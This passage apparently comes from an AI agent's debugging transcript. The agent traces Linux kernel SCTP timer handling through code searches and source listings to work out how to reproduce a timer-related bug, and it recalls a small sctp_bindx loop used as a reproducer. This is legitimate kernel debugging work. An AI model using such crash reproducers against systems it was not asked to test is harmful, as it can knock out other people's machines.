This sounds plausible, but it immediately brings up another complexity: using a raw socket to send an `INIT` from the client's ephemeral port to the server, then capturing the `INIT_ACK` to extract the cookie, and then sending the `COOKIE_ECHO` – it all gets quite involved for a concise C reproducer.

Given that, I'm now wondering if there's a simpler way to achieve that core requirement: triggering `SCTP_CMD_TIMER_START` on an already pending timer. I should probably go back and examine other parts of the SCTP code that call `SCTP_CMD_TIMER_START` to see if any of them offer a more straightforward path.

map[Expression:SCTP_CMD_TIMER_START PathPrefix:net/sctp/sm_statefuns.c]

map[Output:net/sctp/sm_statefuns.c=521=enum sctp_disposition sctp_sf_do_5_1C_ack(struct net *net,
--
net/sctp/sm_statefuns.c-622-			SCTP_TO(SCTP_EVENT_TIMEOUT_T1_INIT));
net/sctp/sm_statefuns.c:623:	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-624-			SCTP_TO(SCTP_EVENT_TIMEOUT_T1_COOKIE));
--
net/sctp/sm_statefuns.c=703=enum sctp_disposition sctp_sf_do_5_1D_ce(struct net *net,
--
net/sctp/sm_statefuns.c-883-	if (new_asoc->timeouts[SCTP_EVENT_TIMEOUT_AUTOCLOSE])
net/sctp/sm_statefuns.c:884:		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-885-				SCTP_TO(SCTP_EVENT_TIMEOUT_AUTOCLOSE));
--
net/sctp/sm_statefuns.c=938=enum sctp_disposition sctp_sf_do_5_1E_ca(struct net *net,
--
net/sctp/sm_statefuns.c-984-	if (asoc->timeouts[SCTP_EVENT_TIMEOUT_AUTOCLOSE])
net/sctp/sm_statefuns.c:985:		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-986-				SCTP_TO(SCTP_EVENT_TIMEOUT_AUTOCLOSE));
--
net/sctp/sm_statefuns.c=2577=static enum sctp_disposition sctp_sf_do_5_2_6_stale(
--
net/sctp/sm_statefuns.c-2651-			SCTP_STATE(SCTP_STATE_COOKIE_WAIT));
net/sctp/sm_statefuns.c:2652:	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-2653-			SCTP_TO(SCTP_EVENT_TIMEOUT_T1_INIT));
--
net/sctp/sm_statefuns.c=5021=enum sctp_disposition sctp_sf_do_prm_asoc(struct net *net,
--
net/sctp/sm_statefuns.c-5062-	 */
net/sctp/sm_statefuns.c:5063:	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-5064-			SCTP_TO(SCTP_EVENT_TIMEOUT_T1_INIT));
--
net/sctp/sm_statefuns.c=5573=enum sctp_disposition sctp_sf_do_prm_asconf(struct net *net,
--
net/sctp/sm_statefuns.c-5582-	sctp_add_cmd_sf(commands, SCTP_CMD_SETUP_T4, SCTP_CHUNK(chunk));
net/sctp/sm_statefuns.c:5583:	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-5584-			SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
--
net/sctp/sm_statefuns.c=5664=enum sctp_disposition sctp_sf_do_9_2_start_shutdown(
--
net/sctp/sm_statefuns.c-5688-	/* It shall then start the T2-shutdown timer */
net/sctp/sm_statefuns.c:5689:	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-5690-			SCTP_TO(SCTP_EVENT_TIMEOUT_T2_SHUTDOWN));
--
net/sctp/sm_statefuns.c=5836=enum sctp_disposition sctp_sf_do_6_3_3_rtx(struct net *net,
--
net/sctp/sm_statefuns.c-5858-			 */
net/sctp/sm_statefuns.c:5859:			sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START_ONCE,
net/sctp/sm_statefuns.c-5860-				SCTP_TO(SCTP_EVENT_TIMEOUT_T5_SHUTDOWN_GUARD));
]

gemini-3.1-pro-preview

							input: 27722
							output: 41
							thoughts: 289
						

**My Thought Process Regarding `sctp_sf_do_prm_asconf` and Timer Interactions**

My current line of inquiry is focused on the behavior of `sctp_sf_do_prm_asconf` when a `T4_RTO` timer is already in a pending state. I've observed that `sctp_sf_do_prm_asconf` is responsible for initiating `SCTP_CMD_TIMER_START` for `T4_RTO`. This leads me to question whether it's possible to invoke `sctp_sf_do_prm_asconf` multiple times while `T4_RTO` is already pending.

My immediate hypothesis is that, yes, this scenario is achievable. I recall that the reproducer I was working with demonstrated this exact behavior. The core of that reproducer involved a tight loop:

```c
    while (1) {
        sctp_bindx(fd, (struct sockaddr *)&addr, 1, SCTP_BINDX_ADD_ADDR);
        sctp_bindx(fd, (struct sockaddr *)&addr, 1, SCTP_BINDX_REM_ADDR);
    }
```

I understand that each call to `sctp_bindx` subsequently triggers `sctp_send_asconf`, which in turn calls `sctp_sf_do_prm_asconf`. My reasoning here is that even if `T4_RTO` is already pending, `sctp_sf_do_prm_asconf` will still attempt to issue another `SCTP_CMD_TIMER_START` for `T4_RTO`.

However, a lingering question arises: will `sctp_sf_do_prm_asconf` actually be invoked if `T4_RTO` is already pending? To resolve this, I need to delve into the implementation of `sctp_send_asconf` itself. I need to examine its logic to confirm whether it proceeds to call `sctp_sf_do_prm_asconf` under these specific conditions or if there's a check that prevents it from being called again. This step is crucial to solidify my understanding of the complete execution path.

map[ContextFile:net/sctp/socket.c Name:sctp_send_asconf]

map[SourceCode: 459:	 /* ADDIP Section 4.1.1 Congestion Control of ASCONF Chunks
 460:	 *
 461:	 * R1) One and only one ASCONF Chunk MAY be in transit and unacknowledged
 462:	 * at any one time.  If a sender, after sending an ASCONF chunk, decides
 463:	 * it needs to transfer another ASCONF Chunk, it MUST wait until the
 464:	 * ASCONF-ACK Chunk returns from the previous ASCONF Chunk before sending a
 465:	 * subsequent ASCONF. Note this restriction binds each side, so at any
 466:	 * time two ASCONF may be in-transit on any given association (one sent
 467:	 * from each endpoint).
 468:	 */
 469:	static int sctp_send_asconf(struct sctp_association *asoc,
 470:				    struct sctp_chunk *chunk)
 471:	{
 472:		int retval = 0;
 473:	
 474:		/* If there is an outstanding ASCONF chunk, queue it for later
 475:		 * transmission.
 476:		 */
 477:		if (asoc->addip_last_asconf) {
 478:			list_add_tail(&chunk->list, &asoc->addip_chunk_list);
 479:			goto out;
 480:		}
 481:	
 482:		/* Hold the chunk until an ASCONF_ACK is received. */
 483:		sctp_chunk_hold(chunk);
 484:		retval = sctp_primitive_ASCONF(asoc->base.net, asoc, chunk);
 485:		if (retval)
 486:			sctp_chunk_free(chunk);
 487:		else
 488:			asoc->addip_last_asconf = chunk;
 489:	
 490:	out:
 491:		return retval;
 492:	}
 SourceFile:net/sctp/socket.c]

gemini-3.1-pro-preview

							input: 28604
							output: 49
							thoughts: 185
						

**My Thought Process Regarding ASCONF Transmission and T4_RTO Timer Behavior**

Okay, so I've just encountered a crucial point about how SCTP handles outstanding ASCONF chunks. The core logic seems to be: "If there is an outstanding ASCONF chunk, queue it for later transmission." This immediately tells me something significant about the `sctp_send_asconf` function.

What this implies is that if `T4_RTO` is currently pending – and the reason it would be pending is precisely *because* an ASCONF is outstanding and waiting to be sent – then `sctp_send_asconf` won't actually attempt to send the new ASCONF chunk immediately. Instead, it will simply queue it up for a future transmission opportunity.

This, in turn, leads me to a critical deduction: `sctp_sf_do_prm_asconf` will *not* be invoked if an ASCONF is already in the process of being sent or is pending due to the `T4_RTO` timeout. This is a direct consequence of the queuing mechanism described earlier.

Now, the really interesting question arises: what happens if the `T4_RTO` timer *does* expire while an ASCONF is outstanding? My understanding is that when `T4_RTO` expires, the system will call the `sctp_sf_t4_timer_expire` function. This is the point where the pending ASCONF chunk would, presumably, be re-evaluated for transmission or handled according to the timer's expiration logic.

So, to recap my thought flow: the outstanding ASCONF state dictates that `sctp_send_asconf` queues rather than sends, which prevents `sctp_sf_do_prm_asconf` from being called, and consequently, the `T4_RTO` timer isn't restarted. The real action for a pending ASCONF, when the timer finally expires, happens within `sctp_sf_t4_timer_expire`.

map[ContextFile:net/sctp/sm_statefuns.c Name:sctp_sf_t4_timer_expire]

map[SourceCode:6138:	/*
6139:	 * ADDIP Section 4.1 ASCONF Chunk Procedures
6140:	 * If the T4 RTO timer expires the endpoint should do B1 to B5
6141:	 */
6142:	enum sctp_disposition sctp_sf_t4_timer_expire(
6143:						struct net *net,
6144:						const struct sctp_endpoint *ep,
6145:						const struct sctp_association *asoc,
6146:						const union sctp_subtype type,
6147:						void *arg,
6148:						struct sctp_cmd_seq *commands)
6149:	{
6150:		struct sctp_chunk *chunk = asoc->addip_last_asconf;
6151:		struct sctp_transport *transport;
6152:	
6153:		if (!chunk)
6154:			return SCTP_DISPOSITION_CONSUME;
6155:	
6156:		transport = chunk->transport;
6157:		SCTP_INC_STATS(net, SCTP_MIB_T4_RTO_EXPIREDS);
6158:	
6159:		/* ADDIP 4.1 B1) Increment the error counters and perform path failure
6160:		 * detection on the appropriate destination address as defined in
6161:		 * RFC2960 [5] section 8.1 and 8.2.
6162:		 */
6163:		if (transport)
6164:			sctp_add_cmd_sf(commands, SCTP_CMD_STRIKE,
6165:					SCTP_TRANSPORT(transport));
6166:	
6167:		/* Reconfig T4 timer and transport. */
6168:		sctp_add_cmd_sf(commands, SCTP_CMD_SETUP_T4, SCTP_CHUNK(chunk));
6169:	
6170:		/* ADDIP 4.1 B2) Increment the association error counters and perform
6171:		 * endpoint failure detection on the association as defined in
6172:		 * RFC2960 [5] section 8.1 and 8.2.
6173:		 * association error counter is incremented in SCTP_CMD_STRIKE.
6174:		 */
6175:		if (asoc->overall_error_count >= asoc->max_retrans) {
6176:			sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
6177:					SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
6178:			sctp_add_cmd_sf(commands, SCTP_CMD_SET_SK_ERR,
6179:					SCTP_ERROR(ETIMEDOUT));
6180:			sctp_add_cmd_sf(commands, SCTP_CMD_ASSOC_FAILED,
6181:					SCTP_PERR(SCTP_ERROR_NO_ERROR));
6182:			SCTP_INC_STATS(net, SCTP_MIB_ABORTEDS);
6183:			SCTP_DEC_STATS(net, SCTP_MIB_CURRESTAB);
6184:			return SCTP_DISPOSITION_ABORT;
6185:		}
6186:	
6187:		/* ADDIP 4.1 B3) Back-off the destination address RTO value to which
6188:		 * the ASCONF chunk was sent by doubling the RTO timer value.
6189:		 * This is done in SCTP_CMD_STRIKE.
6190:		 */
6191:	
6192:		/* ADDIP 4.1 B4) Re-transmit the ASCONF Chunk last sent and if possible
6193:		 * choose an alternate destination address (please refer to RFC2960
6194:		 * [5] section 6.4.1). An endpoint MUST NOT add new parameters to this
6195:		 * chunk, it MUST be the same (including its serial number) as the last
6196:		 * ASCONF sent.
6197:		 */
6198:		sctp_chunk_hold(asoc->addip_last_asconf);
6199:		sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
6200:				SCTP_CHUNK(asoc->addip_last_asconf));
6201:	
6202:		/* ADDIP 4.1 B5) Restart the T-4 RTO timer. Note that if a different
6203:		 * destination is selected, then the RTO used will be that of the new
6204:		 * destination address.
6205:		 */
6206:		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_RESTART,
6207:				SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
6208:	
6209:		return SCTP_DISPOSITION_CONSUME;
6210:	}
 SourceFile:net/sctp/sm_statefuns.c]

gemini-3.1-pro-preview

							input: 30196
							output: 43
							thoughts: 68
						

**My Thought Process Regarding SCTP Timer Management**

Okay, so I was just reviewing the `sctp_sf_t4_timer_expire` function, and a detail immediately jumped out at me: it's using `SCTP_CMD_TIMER_RESTART`, not `SCTP_CMD_TIMER_START`. This is a subtle but significant distinction when we're talking about timer management within the SCTP stack. My immediate inclination is to dig into the specifics of `SCTP_CMD_TIMER_RESTART` and understand its implications, so my next step is to navigate over to the `sctp_cmd_interpreter` function to see exactly how this command is being handled. I need to ensure my understanding of the timer lifecycle and its potential restart behavior is completely accurate here.

map[ContextFile:net/sctp/sm_sideeffect.c Name:sctp_cmd_interpreter]

map[SourceCode:1274:	/* This is the side-effect interpreter.  */
1275:	static int sctp_cmd_interpreter(enum sctp_event_type event_type,
1276:					union sctp_subtype subtype,
1277:					enum sctp_state state,
1278:					struct sctp_endpoint *ep,
1279:					struct sctp_association *asoc,
1280:					void *event_arg,
1281:					enum sctp_disposition status,
1282:					struct sctp_cmd_seq *commands,
1283:					gfp_t gfp)
1284:	{
1285:		struct sctp_sock *sp = sctp_sk(ep->base.sk);
1286:		struct sctp_chunk *chunk = NULL, *new_obj;
1287:		struct sctp_packet *packet;
1288:		struct sctp_sackhdr sackh;
1289:		struct timer_list *timer;
1290:		struct sctp_transport *t;
1291:		unsigned long timeout;
1292:		struct sctp_cmd *cmd;
1293:		int local_cork = 0;
1294:		int error = 0;
1295:		int force;
1296:	
1297:		if (SCTP_EVENT_T_TIMEOUT != event_type)
1298:			chunk = event_arg;
1299:	
1300:		/* Note:  This whole file is a huge candidate for rework.
1301:		 * For example, each command could either have its own handler, so
1302:		 * the loop would look like:
1303:		 *     while (cmds)
1304:		 *         cmd->handle(x, y, z)
1305:		 * --jgrimm
1306:		 */
1307:		while (NULL != (cmd = sctp_next_cmd(commands))) {
1308:			switch (cmd->verb) {
1309:			case SCTP_CMD_NOP:
1310:				/* Do nothing. */
1311:				break;
1312:	
1313:			case SCTP_CMD_NEW_ASOC:
1314:				/* Register a new association.  */
1315:				if (local_cork) {
1316:					sctp_outq_uncork(&asoc->outqueue, gfp);
1317:					local_cork = 0;
1318:				}
1319:	
1320:				/* Register with the endpoint.  */
1321:				asoc = cmd->obj.asoc;
1322:				BUG_ON(asoc->peer.primary_path == NULL);
1323:				sctp_endpoint_add_asoc(ep, asoc);
1324:				break;
1325:	
1326:			case SCTP_CMD_PURGE_OUTQUEUE:
1327:			       sctp_outq_teardown(&asoc->outqueue);
1328:			       break;
1329:	
1330:			case SCTP_CMD_DELETE_TCB:
1331:				if (local_cork) {
1332:					sctp_outq_uncork(&asoc->outqueue, gfp);
1333:					local_cork = 0;
1334:				}
1335:				/* No chunk left in this packet may use this asoc. */
1336:				if (event_type == SCTP_EVENT_T_CHUNK &&
1337:				    chunk->asoc == asoc)
1338:					chunk->pdiscard = 1;
1339:				/* Delete the current association.  */
1340:				sctp_cmd_delete_tcb(commands, asoc);
1341:				asoc = NULL;
1342:				break;
1343:	
1344:			case SCTP_CMD_NEW_STATE:
1345:				/* Enter a new state.  */
1346:				sctp_cmd_new_state(commands, asoc, cmd->obj.state);
1347:				break;
1348:	
1349:			case SCTP_CMD_REPORT_TSN:
1350:				/* Record the arrival of a TSN.  */
1351:				error = sctp_tsnmap_mark(&asoc->peer.tsn_map,
1352:							 cmd->obj.u32, NULL);
1353:				break;
1354:	
1355:			case SCTP_CMD_REPORT_FWDTSN:
1356:				asoc->stream.si->report_ftsn(&asoc->ulpq, cmd->obj.u32);
1357:				break;
1358:	
1359:			case SCTP_CMD_PROCESS_FWDTSN:
1360:				asoc->stream.si->handle_ftsn(&asoc->ulpq,
1361:							     cmd->obj.chunk);
1362:				break;
1363:	
1364:			case SCTP_CMD_GEN_SACK:
1365:				/* Generate a Selective ACK.
1366:				 * The argument tells us whether to just count
1367:				 * the packet and MAYBE generate a SACK, or
1368:				 * force a SACK out.
1369:				 */
1370:				force = cmd->obj.i32;
1371:				error = sctp_gen_sack(asoc, force, commands);
1372:				break;
1373:	
1374:			case SCTP_CMD_PROCESS_SACK:
1375:				/* Process an inbound SACK.  */
1376:				error = sctp_cmd_process_sack(commands, asoc,
1377:							      cmd->obj.chunk);
1378:				break;
1379:	
1380:			case SCTP_CMD_GEN_INIT_ACK:
1381:				/* Generate an INIT ACK chunk.  */
1382:				new_obj = sctp_make_init_ack(asoc, chunk, GFP_ATOMIC,
1383:							     0);
1384:				if (!new_obj) {
1385:					error = -ENOMEM;
1386:					break;
1387:				}
1388:	
1389:				sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
1390:						SCTP_CHUNK(new_obj));
1391:				break;
1392:	
1393:			case SCTP_CMD_PEER_INIT:
1394:				/* Process a unified INIT from the peer.
1395:				 * Note: Only used during INIT-ACK processing.  If
1396:				 * there is an error just return to the outter
1397:				 * layer which will bail.
1398:				 */
1399:				error = sctp_cmd_process_init(commands, asoc, chunk,
1400:							      cmd->obj.init, gfp);
1401:				break;
1402:	
1403:			case SCTP_CMD_GEN_COOKIE_ECHO:
1404:				/* Generate a COOKIE ECHO chunk.  */
1405:				new_obj = sctp_make_cookie_echo(asoc, chunk);
1406:				if (!new_obj) {
1407:					if (cmd->obj.chunk)
1408:						sctp_chunk_free(cmd->obj.chunk);
1409:					error = -ENOMEM;
1410:					break;
1411:				}
1412:				sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
1413:						SCTP_CHUNK(new_obj));
1414:	
1415:				/* If there is an ERROR chunk to be sent along with
1416:				 * the COOKIE_ECHO, send it, too.
1417:				 */
1418:				if (cmd->obj.chunk)
1419:					sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
1420:							SCTP_CHUNK(cmd->obj.chunk));
1421:	
1422:				if (new_obj->transport) {
1423:					new_obj->transport->init_sent_count++;
1424:					asoc->init_last_sent_to = new_obj->transport;
1425:				}
1426:	
1427:				/* FIXME - Eventually come up with a cleaner way to
1428:				 * enabling COOKIE-ECHO + DATA bundling during
1429:				 * multihoming stale cookie scenarios, the following
1430:				 * command plays with asoc->peer.retran_path to
1431:				 * avoid the problem of sending the COOKIE-ECHO and
1432:				 * DATA in different paths, which could result
1433:				 * in the association being ABORTed if the DATA chunk
1434:				 * is processed first by the server.  Checking the
1435:				 * init error counter simply causes this command
1436:				 * to be executed only during failed attempts of
1437:				 * association establishment.
1438:				 */
1439:				if ((asoc->peer.retran_path !=
1440:				     asoc->peer.primary_path) &&
1441:				    (asoc->init_err_counter > 0)) {
1442:					sctp_add_cmd_sf(commands,
1443:							SCTP_CMD_FORCE_PRIM_RETRAN,
1444:							SCTP_NULL());
1445:				}
1446:	
1447:				break;
1448:	
1449:			case SCTP_CMD_GEN_SHUTDOWN:
1450:				/* Generate SHUTDOWN when in SHUTDOWN_SENT state.
1451:				 * Reset error counts.
1452:				 */
1453:				asoc->overall_error_count = 0;
1454:	
1455:				/* Generate a SHUTDOWN chunk.  */
1456:				new_obj = sctp_make_shutdown(asoc, chunk);
1457:				if (!new_obj) {
1458:					error = -ENOMEM;
1459:					break;
1460:				}
1461:				sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
1462:						SCTP_CHUNK(new_obj));
1463:				break;
1464:	
1465:			case SCTP_CMD_CHUNK_ULP:
1466:				/* Send a chunk to the sockets layer.  */
1467:				pr_debug("%s: sm_sideff: chunk_up:%p, ulpq:%p\n",
1468:					 __func__, cmd->obj.chunk, &asoc->ulpq);
1469:	
1470:				asoc->stream.si->ulpevent_data(&asoc->ulpq,
1471:							       cmd->obj.chunk,
1472:							       GFP_ATOMIC);
1473:				break;
1474:	
1475:			case SCTP_CMD_EVENT_ULP:
1476:				/* Send a notification to the sockets layer.  */
1477:				pr_debug("%s: sm_sideff: event_up:%p, ulpq:%p\n",
1478:					 __func__, cmd->obj.ulpevent, &asoc->ulpq);
1479:	
1480:				asoc->stream.si->enqueue_event(&asoc->ulpq,
1481:							       cmd->obj.ulpevent);
1482:				break;
1483:	
1484:			case SCTP_CMD_REPLY:
1485:				/* If an caller has not already corked, do cork. */
1486:				if (!asoc->outqueue.cork) {
1487:					sctp_outq_cork(&asoc->outqueue);
1488:					local_cork = 1;
1489:				}
1490:				/* Send a chunk to our peer.  */
1491:				sctp_outq_tail(&asoc->outqueue, cmd->obj.chunk, gfp);
1492:				break;
1493:	
1494:			case SCTP_CMD_SEND_PKT:
1495:				/* Send a full packet to our peer.  */
1496:				packet = cmd->obj.packet;
1497:				sctp_packet_transmit(packet, gfp);
1498:				sctp_ootb_pkt_free(packet);
1499:				break;
1500:	
1501:			case SCTP_CMD_T1_RETRAN:
1502:				/* Mark a transport for retransmission.  */
1503:				sctp_retransmit(&asoc->outqueue, cmd->obj.transport,
1504:						SCTP_RTXR_T1_RTX);
1505:				break;
1506:	
1507:			case SCTP_CMD_RETRAN:
1508:				/* Mark a transport for retransmission.  */
1509:				sctp_retransmit(&asoc->outqueue, cmd->obj.transport,
1510:						SCTP_RTXR_T3_RTX);
1511:				break;
1512:	
1513:			case SCTP_CMD_ECN_CE:
1514:				/* Do delayed CE processing.   */
1515:				sctp_do_ecn_ce_work(asoc, cmd->obj.u32);
1516:				break;
1517:	
1518:			case SCTP_CMD_ECN_ECNE:
1519:				/* Do delayed ECNE processing. */
1520:				new_obj = sctp_do_ecn_ecne_work(asoc, cmd->obj.u32,
1521:								chunk);
1522:				if (new_obj)
1523:					sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
1524:							SCTP_CHUNK(new_obj));
1525:				break;
1526:	
1527:			case SCTP_CMD_ECN_CWR:
1528:				/* Do delayed CWR processing.  */
1529:				sctp_do_ecn_cwr_work(asoc, cmd->obj.u32);
1530:				break;
1531:	
1532:			case SCTP_CMD_SETUP_T2:
1533:				sctp_cmd_setup_t2(commands, asoc, cmd->obj.chunk);
1534:				break;
1535:	
1536:			case SCTP_CMD_TIMER_START_ONCE:
1537:				timer = &asoc->timers[cmd->obj.to];
1538:	
1539:				if (timer_pending(timer))
1540:					break;
1541:				fallthrough;
1542:	
1543:			case SCTP_CMD_TIMER_START:
1544:				timer = &asoc->timers[cmd->obj.to];
1545:				timeout = asoc->timeouts[cmd->obj.to];
1546:				BUG_ON(!timeout);
1547:	
1548:				/*
1549:				 * SCTP has a hard time with timer starts.  Because we process
1550:				 * timer starts as side effects, it can be hard to tell if we
1551:				 * have already started a timer or not, which leads to BUG
1552:				 * halts when we call add_timer. So here, instead of just starting
1553:				 * a timer, if the timer is already started, and just mod
1554:				 * the timer with the shorter of the two expiration times
1555:				 */
1556:				if (!timer_pending(timer))
1557:					sctp_association_hold(asoc);
1558:				timer_reduce(timer, jiffies + timeout);
1559:				break;
1560:	
1561:			case SCTP_CMD_TIMER_RESTART:
1562:				timer = &asoc->timers[cmd->obj.to];
1563:				timeout = asoc->timeouts[cmd->obj.to];
1564:				if (!mod_timer(timer, jiffies + timeout))
1565:					sctp_association_hold(asoc);
1566:				break;
1567:	
1568:			case SCTP_CMD_TIMER_STOP:
1569:				timer = &asoc->timers[cmd->obj.to];
1570:				if (timer_delete(timer))
1571:					sctp_association_put(asoc);
1572:				break;
1573:	
1574:			case SCTP_CMD_INIT_CHOOSE_TRANSPORT:
1575:				chunk = cmd->obj.chunk;
1576:				t = sctp_assoc_choose_alter_transport(asoc,
1577:							asoc->init_last_sent_to);
1578:				asoc->init_last_sent_to = t;
1579:				chunk->transport = t;
1580:				t->init_sent_count++;
1581:				/* Set the new transport as primary */
1582:				sctp_assoc_set_primary(asoc, t);
1583:				break;
1584:	
1585:			case SCTP_CMD_INIT_RESTART:
1586:				/* Do the needed accounting and updates
1587:				 * associated with restarting an initialization
1588:				 * timer. Only multiply the timeout by two if
1589:				 * all transports have been tried at the current
1590:				 * timeout.
1591:				 */
1592:				sctp_cmd_t1_timer_update(asoc,
1593:							SCTP_EVENT_TIMEOUT_T1_INIT,
1594:							"INIT");
1595:	
1596:				sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_RESTART,
1597:						SCTP_TO(SCTP_EVENT_TIMEOUT_T1_INIT));
1598:				break;
1599:	
1600:			case SCTP_CMD_COOKIEECHO_RESTART:
1601:				/* Do the needed accounting and updates
1602:				 * associated with restarting an initialization
1603:				 * timer. Only multiply the timeout by two if
1604:				 * all transports have been tried at the current
1605:				 * timeout.
1606:				 */
1607:				sctp_cmd_t1_timer_update(asoc,
1608:							SCTP_EVENT_TIMEOUT_T1_COOKIE,
1609:							"COOKIE");
1610:	
1611:				/* If we've sent any data bundled with
1612:				 * COOKIE-ECHO we need to resend.
1613:				 */
1614:				list_for_each_entry(t, &asoc->peer.transport_addr_list,
1615:						transports) {
1616:					sctp_retransmit_mark(&asoc->outqueue, t,
1617:						    SCTP_RTXR_T1_RTX);
1618:				}
1619:	
1620:				sctp_add_cmd_sf(commands,
1621:						SCTP_CMD_TIMER_RESTART,
1622:						SCTP_TO(SCTP_EVENT_TIMEOUT_T1_COOKIE));
1623:				break;
1624:	
1625:			case SCTP_CMD_INIT_FAILED:
1626:				sctp_cmd_init_failed(commands, asoc, cmd->obj.u16);
1627:				break;
1628:	
1629:			case SCTP_CMD_ASSOC_FAILED:
1630:				sctp_cmd_assoc_failed(commands, asoc, event_type,
1631:						      subtype, chunk, cmd->obj.u16);
1632:				break;
1633:	
1634:			case SCTP_CMD_INIT_COUNTER_INC:
1635:				asoc->init_err_counter++;
1636:				break;
1637:	
1638:			case SCTP_CMD_INIT_COUNTER_RESET:
1639:				asoc->init_err_counter = 0;
1640:				asoc->init_cycle = 0;
1641:				list_for_each_entry(t, &asoc->peer.transport_addr_list,
1642:						    transports) {
1643:					t->init_sent_count = 0;
1644:				}
1645:				break;
1646:	
1647:			case SCTP_CMD_REPORT_DUP:
1648:				sctp_tsnmap_mark_dup(&asoc->peer.tsn_map,
1649:						     cmd->obj.u32);
1650:				break;
1651:	
1652:			case SCTP_CMD_REPORT_BAD_TAG:
1653:				pr_debug("%s: vtag mismatch!\n", __func__);
1654:				break;
1655:	
1656:			case SCTP_CMD_STRIKE:
1657:				/* Mark one strike against a transport.  */
1658:				sctp_do_8_2_transport_strike(commands, asoc,
1659:							    cmd->obj.transport, 0);
1660:				break;
1661:	
1662:			case SCTP_CMD_TRANSPORT_IDLE:
1663:				t = cmd->obj.transport;
1664:				sctp_transport_lower_cwnd(t, SCTP_LOWER_CWND_INACTIVE);
1665:				break;
1666:	
1667:			case SCTP_CMD_TRANSPORT_HB_SENT:
1668:				t = cmd->obj.transport;
1669:				sctp_do_8_2_transport_strike(commands, asoc,
1670:							     t, 1);
1671:				t->hb_sent = 1;
1672:				break;
1673:	
1674:			case SCTP_CMD_TRANSPORT_ON:
1675:				t = cmd->obj.transport;
1676:				sctp_cmd_transport_on(commands, asoc, t, chunk);
1677:				break;
1678:	
1679:			case SCTP_CMD_HB_TIMERS_START:
1680:				sctp_cmd_hb_timers_start(commands, asoc);
1681:				break;
1682:	
1683:			case SCTP_CMD_HB_TIMER_UPDATE:
1684:				t = cmd->obj.transport;
1685:				sctp_transport_reset_hb_timer(t);
1686:				break;
1687:	
1688:			case SCTP_CMD_HB_TIMERS_STOP:
1689:				sctp_cmd_hb_timers_stop(commands, asoc);
1690:				break;
1691:	
1692:			case SCTP_CMD_PROBE_TIMER_UPDATE:
1693:				t = cmd->obj.transport;
1694:				sctp_transport_reset_probe_timer(t);
1695:				break;
1696:	
1697:			case SCTP_CMD_REPORT_ERROR:
1698:				error = cmd->obj.error;
1699:				break;
1700:	
1701:			case SCTP_CMD_PROCESS_CTSN:
1702:				/* Dummy up a SACK for processing. */
1703:				sackh.cum_tsn_ack = cmd->obj.be32;
1704:				sackh.a_rwnd = htonl(asoc->peer.rwnd +
1705:						     asoc->outqueue.outstanding_bytes);
1706:				sackh.num_gap_ack_blocks = 0;
1707:				sackh.num_dup_tsns = 0;
1708:				chunk->subh.sack_hdr = &sackh;
1709:				sctp_add_cmd_sf(commands, SCTP_CMD_PROCESS_SACK,
1710:						SCTP_CHUNK(chunk));
1711:				break;
1712:	
1713:			case SCTP_CMD_DISCARD_PACKET:
1714:				/* We need to discard the whole packet.
1715:				 * Uncork the queue since there might be
1716:				 * responses pending
1717:				 */
1718:				chunk->pdiscard = 1;
1719:				if (asoc) {
1720:					sctp_outq_uncork(&asoc->outqueue, gfp);
1721:					local_cork = 0;
1722:				}
1723:				break;
1724:	
1725:			case SCTP_CMD_RTO_PENDING:
1726:				t = cmd->obj.transport;
1727:				t->rto_pending = 1;
1728:				break;
1729:	
1730:			case SCTP_CMD_PART_DELIVER:
1731:				asoc->stream.si->start_pd(&asoc->ulpq, GFP_ATOMIC);
1732:				break;
1733:	
1734:			case SCTP_CMD_RENEGE:
1735:				asoc->stream.si->renege_events(&asoc->ulpq,
1736:							       cmd->obj.chunk,
1737:							       GFP_ATOMIC);
1738:				break;
1739:	
1740:			case SCTP_CMD_SETUP_T4:
1741:				sctp_cmd_setup_t4(commands, asoc, cmd->obj.chunk);
1742:				break;
1743:	
1744:			case SCTP_CMD_PROCESS_OPERR:
1745:				sctp_cmd_process_operr(commands, asoc, chunk);
1746:				break;
1747:			case SCTP_CMD_CLEAR_INIT_TAG:
1748:				asoc->peer.i.init_tag = 0;
1749:				break;
1750:			case SCTP_CMD_DEL_NON_PRIMARY:
1751:				sctp_cmd_del_non_primary(asoc);
1752:				break;
1753:			case SCTP_CMD_T3_RTX_TIMERS_STOP:
1754:				sctp_cmd_t3_rtx_timers_stop(commands, asoc);
1755:				break;
1756:			case SCTP_CMD_FORCE_PRIM_RETRAN:
1757:				t = asoc->peer.retran_path;
1758:				asoc->peer.retran_path = asoc->peer.primary_path;
1759:				sctp_outq_uncork(&asoc->outqueue, gfp);
1760:				local_cork = 0;
1761:				asoc->peer.retran_path = t;
1762:				break;
1763:			case SCTP_CMD_SET_SK_ERR:
1764:				sctp_cmd_set_sk_err(asoc, cmd->obj.error);
1765:				break;
1766:			case SCTP_CMD_ASSOC_CHANGE:
1767:				sctp_cmd_assoc_change(commands, asoc,
1768:						      cmd->obj.u8);
1769:				break;
1770:			case SCTP_CMD_ADAPTATION_IND:
1771:				sctp_cmd_adaptation_ind(commands, asoc);
1772:				break;
1773:			case SCTP_CMD_PEER_NO_AUTH:
1774:				sctp_cmd_peer_no_auth(commands, asoc);
1775:				break;
1776:	
